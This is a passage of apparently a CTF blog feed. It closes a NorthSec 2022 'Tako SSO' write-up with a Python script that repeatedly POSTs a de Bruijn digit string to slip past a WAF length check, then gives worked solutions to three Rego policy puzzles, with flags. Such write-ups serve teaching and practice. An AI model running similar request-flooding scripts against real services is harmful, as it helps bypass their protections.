That just checks if the number is in the input. So we have an attack of just sending a massive string of every number from 0 to 99, right?

Wrong!

Trying to send a string of every number gets a WAF block. And it looks like strings of length 100 and under go through. But every number in a string is above 600, can we condense that?

There exists a mathematical concept known as the de Bruijn sequence. To skip the boring math stuff, it's basically a more efficient brute force combination generator, that inherently makes shorter brute force sequences since duplicates are removed. It's used in image depixelation programs, which is where I learned about it.

So, using a de Bruijn sequence with a space of 10 characters (digits 0-9) and strings of length 2 (since, inherently, every number from 0-9 will be represented). A bit of manipulation to get 90 in the list, and fitting it to 100 characters, and our team wrote the following final exploit:

import requests

def main():
    cookies = {
        "session": "0dded050-e2f1-44e7-befd-14b263c74bb3"
    }

    json = {
        "value": "102030405060708091121314151617181922324252627282933435363738394454647484955657585966768697787988990"
    }

    for i in range(1000):
        r = requests.post("http://tako-sso.ctf/guess", cookies=cookies, json=json, proxies={
            "http": "http://localhost:8080",
            "https": "http://localhost:8080",
        })

        print(r.text)
main()

Flag-CaptchaShr00m

Conclusion

Tako SSO was a good challenge, highlighting the importance of proper checks and not relying on WAF to do your security.

NorthSec 2022: Rego Prototype Review

Robert Babaev — Mon, 23 May 2022 00:34:12 +0000

Rego Prototype Review was a challenge at NorthSec 2022 which was unlike the rest, involving just figuring out a new programming language. This programming language resembles a cocktail of Go and Prolog. It's a bit unique in that it uses logical programming, as well as Go-like assignments and Javascript object syntax. But this isn't Robert's Programming Language review, we have Fireship for that.

Challenge 1

This is a warm up challenge, designed to get you used to the language. You're told to input a JSON object akin to:

{
    "flag": "<FLAG ATTEMPT>"
}

Then, Rego will run the code to eval the flag and tell you whether or not it's correct. Kinda like reverse engineering without the BS.

We have a couple things in the source of the first challenge.

package challenge1

default correct_flag = false

mycorize(s) := replace(replace(s, "o", "0"), "i", "y")

correct_flag {
    words := ["champ", "mycoverse", "exo", "meta", "cyber", "block", "chain", "life"]
    parts := split(input.flag, "-")
    parts[1] == mycorize(words[x])
    indexof(input.flag,  "4") == 15
    parts[3] == mycorize(words[y])
    [parts[0], x, y] == ["FLAG", 1, 7]
}

Off the bat, you might be drawn to the massive cluster at the bottom. It's labeled "correct_flag" and has a couple of conditions. Rego is a logical programming language, meaning that it tries to find a way to make each condition true to the best of its ability. Therefore, some assignments can look a little strange. Either way, that entire cluster has to evaluate to true.

Within this cluster, we have an array of words called words, and we know the flag is split into parts separated by hyphens (the split() function should look familiar to anyone who's used Python for a while). We also know that parts[1] has to be the result of the mycorize() function applied to words[x]. Wait, x hasn't been specified, what?

This is where the magic of logical programming comes in. Remember how the language tries to make each condition true to the best of its ability? We see x again in that last condition:

[parts[0], x, y] == ["FLAG", 1, 7]

So parts[0], x, and y have to be "FLAG", 1, and 7 respectively. And because of the way Rego works, that's effectively an assignment, since x and y have yet to be defined. Cool!

Once you know that, the rest follows basic programming (though there is a first class function with myconize, so definitely read up on it if that looks foreign), and you get the flag.

FLAG-myc0verse-4-lyfe

Challenge 2

package challenge2

default correct_flag = false

parts = split(input.flag, "-")
flag = split(parts[1], "")

correct_flag {
  parts[0] == "FLAG"
  regex.match("[0-9a-f]{18}", parts[1])

  check_flag
}

check_daeb6676fb {
  checks = ["{2,5,f,e}", "{f,e,0}", "{7,a}", "{0,3}", "{8,3,4}", "{9,3}", "{b,6}", "{3,1}", "{7,0}", "{5,6,7,f}", "{4,d,3,b}", "{0,6}", "{5,7,d,0}", "{b,0,f}", "{0,2}", "{e,6}", "{5,4,a,3}", "{9,a,8}"]
  glob.match(checks[i], [], flag[i])
}


check_6fab77bfa0 {
  checks = ["{1,0}", "{0,3,5,1}", "{a,8,1,d}", "{f,b,a}", "{8,4}", "{f,2}", "{e,0,9,8}", "{8,d}", "{b,9}", "{e,6}", "{4,8}", "{c,e,a}", "{2,b,0}", "{4,3}", "{2,c,9,b}", "{e,0,6,1}", "{8,7,b,e}", "{a,2}"]
  glob.match(checks[i], [], flag[i])
}

# A bunch of check functions later...

check_flag {
  not check_daeb6676fb
  not check_6fab77bfa0
  not check_1303f08f3b
  not check_1e7696120e
  not check_7dfd706380
  not check_428af9a07f
  not check_31c7b0af16
  not check_549bdbab83
  not check_544db8ad08
  not check_8d627e437c
  not check_a1ab717ea8
  not check_2a472fcb62
  not check_32ad655751
  not check_dd21d3c001
  not check_5ef3d7283b
  not check_122e25ab7a
  not check_a592a1319d
  not check_c657345566
  not check_7c7db63c8b
  not check_13feb5fbad
  not check_818e5b66b1
  not check_a40912a851
  not check_06e9b90392
  not check_6a9b5a6923
  not check_88634b49bd
  not check_0d9a709c04
  not check_c52d9dc000
  not check_4ef6d355b8
  not check_564539041c
  not check_736ca3e0fa
  not check_a896cae94d
  not check_f50c810345
}

Gah, that's long. However, looking at it, it's basically a bunch of checks that look like regex matches. So you have an array that checks for each character in the flag. Catch is, all the checks are negated. So what this is really telling you is which characters aren't in the flag. So a flag all in hex that's 18 characters without the "FLAG-" bit, checking to make sure there are no illegal characters.

Now, you could do this by manually going through and figuring out which characters are remaining, but I like my Python too much and had too little time to do that. So I used good old sets and loops!

checks0 = ["{2,5,f,e}", "{f,e,0}", "{7,a}", "{0,3}", "{8,3,4}", "{9,3}", "{b,6}", "{3,1}", "{7,0}", "{5,6,7,f}", "{4,d,3,b}", "{0,6}", "{5,7,d,0}", "{b,0,f}", "{0,2}", "{e,6}", "{5,4,a,3}", "{9,a,8}"]
checks1 = ["{1,0}", "{0,3,5,1}", "{a,8,1,d}", "{f,b,a}", "{8,4}", "{f,2}", "{e,0,9,8}", "{8,d}", "{b,9}", "{e,6}", "{4,8}", "{c,e,a}", "{2,b,0}", "{4,3}", "{2,c,9,b}", "{e,0,6,1}", "{8,7,b,e}", "{a,2}"]
checks2 = ["{8,c,5}", "{b,1,7,f}", "{9,7,c}", "{0,e}", "{3,1}", "{0,e,7,6}", "{6,5,e}", "{9,c,4,3}", "{5,f,d}", "{8,f,7}", "{1,a,f}", "{4,0}", "{8,3,9}", "{1,4}", "{a,2}", "{6,3}", "{4,f,6}", "{4,e,f}"]
checks3 = ["{0,5}", "{2,a,3}", "{8,7,e,f}", "{3,8,7,9}", "{2,6,9,7}", "{1,7}", "{d,b,a,5}", "{a,c,b}", "{a,7,1}", "{3,9,2,5}", "{8,2,7}", "{d,a,1,5}", "{8,3}", "{8,3,d}", "{0,b,9}", "{0,1}", "{b,c,1}", "{4,2}"]
...SNIP...

checks = [
    checks0,
    checks1,
    checks2,
    ...SNIP...
    checks30,
    checks31
]

possible_chars = set([s for s in "0123456789abcdef"])
flag = "FLAG-"
for i in range(18):
    illegal_chars = set()
    for check_set in checks:
        cleaned_check_set = check_set[i].replace("{", "").replace("}","").split(",")
        for illegal_char in cleaned_check_set:
            illegal_chars.add(illegal_char)
    flag += possible_chars.difference(illegal_chars).pop()
print(flag)

FLAG-690c052231c2caff9b

Challenge 3

package challenge3

default correct_flag = false

parts = split(input.flag, "FLAG-")
flag = split(parts[1], "")

f(s) = sp {
  c := flag[s.i]
  g[s.s][0] == c
  j := count({ x | array.slice(flag, 0, s.i)[x] == c })
  sp := { "i": s.i + 1, "s": g[s.s][2][j] }
}

g = [["y",1,[11]],["n",1,[13]],["-",3,[12,10,9]],["h",1,[2]],["u",1,[9]],["l",1,[8]],["b",1,[13]],["t",1,[3]],["i",2,[7,4]],["m",3,[13,0,null]],["w",1,[8]],["c",2,[12,13]],["o",2,[9,1]],["e",4,[11,2,2,5]]]

hash := crypto.sha256(parts[1])

correct_flag {
  g[s][0] == flag[0]
  f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f(f({ "i": 0, "s": s })))))))))))))))))))))))).i == count(flag)
}

This one was tricky. I could have probably solved it with a Python script, but that would have been a bit too error prone for my liking.

What that mild clusterfuck of a script boils down to is that g is like a convoluted recursive linked list, with pointers to the next item in the list based on how many of each entry's letters are in the flag. If that sounded confusing, it was.

What led me to this realization was that exactly one element in the "pointer list" of an entry of g was null. What else has a null final pointer? A linked list. (Yes, there are circular linked list, but technicalities are for the other challenges.)

So here's the structure of this "linked" list:

The list is comprised of entries. In each entry:
- A letter, which we can call the "data."
- A number, which represents the number of times the data appears in the flag
- A list, which is the list of pointers to other entries. If the data has appeared 0 times so far, use pointer at index 0. 1 time, index 1, and so on.

So we can work backwards from the final letter and figure out what would point to it, by taking the most recent pointer that points to its index, and marking down the letter associated with that pointer. It's messy, but it works.

FLAG-become-one-with-mycelium

Conclusion

Rego Prototype Review was a slightly unrealistic but fun challenge using a new programming language. I think if I hadn't learned logical programming in school before this CTF I would have been stuck for way longer, but it is an excellent introduction without the weirdness of Prolog.

DEV Community: Robert Babaev

UnitedCTF 2024 - IT Portal Writeup (Full Track)

Preface

Part 1 - SQLi, Just Like Grandma Used To Make

Part 2: You INSERTED a Pickle WHERE?

Part 3: Out of Band, Out of Mind!

Conclusion

Adding Django Admin Panel MFA to an Existing Project

Contents

Introduction

MFA? What's That?

Is This Gonna Be Super Complicated?

Baseline Assumptions

Installing Packages

Pip

Poetry

Updating The Settings

INSTALLED_APPS

MIDDLEWARE

ENABLE_MFA

Updating The Admin Panel

Updating The URLs

Deployment

Conclusion

HackTheBox Writeup: Bounty Hunter

Recon

Foothold

Getting User

Privesc

Shenanigans

Conclusion

PS

Selenium Oxide Field Testing @ ICC 2022

Preamble

ICC 2022 Field Testing

Conclusion

NorthSec 2022: Tako SSO

Recon

Conclusion

NorthSec 2022: Rego Prototype Review

Challenge 1

Challenge 2

Challenge 3

Conclusion